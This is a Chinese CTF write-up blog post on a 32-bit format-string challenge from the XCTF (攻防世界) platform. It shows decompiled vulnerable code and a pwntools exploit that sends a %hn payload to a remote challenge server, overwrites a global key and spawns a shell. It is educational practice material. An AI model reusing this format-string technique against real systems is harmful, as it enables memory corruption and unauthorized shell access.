攻防世界 pwn--实时数据检测

5 篇文章 0 订阅

32位程序
保护都没有开
直接拖进ida分析

int locker()
{
  int result; // eax
  char s[520]; // [esp+0h] [ebp-208h] BYREF

  fgets(s, 512, stdin);
  imagemagic(s);                                // 含printf函数,有格式化字符串漏洞
  if ( key == 0x2223322 )                       // key在bss段,可以改写。又是小端序,要将0x2223322拆开写入。
    result = system("/bin/sh");
  else
    result = printf(format, &key, key);
  return result;
}

查看一下这里格式化字符串的位置
在这里插入图片描述
在第12个参数

要改写的key的地址:0x0804A048

exp:

from pwn import *

key_addr = 0x804A048
key = 0x2223322

#p = process('./shujujiance')
p = remote("111.200.241.244",60143)

# 小端序存储,将数据以小端序的方式写进去,每次写入两个字节,用%hn。h:匹配int16大小(两字节)的整数参数。
# 538:0x222-4*2 = 546-8。
# 12544:0x3322-4*3-538 = 13090-12-538.
payload = p32(key_addr+2) + p32(key_addr) + "%538c%12$hn" + "%12544c%13$hn"

p.sendline(payload)

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值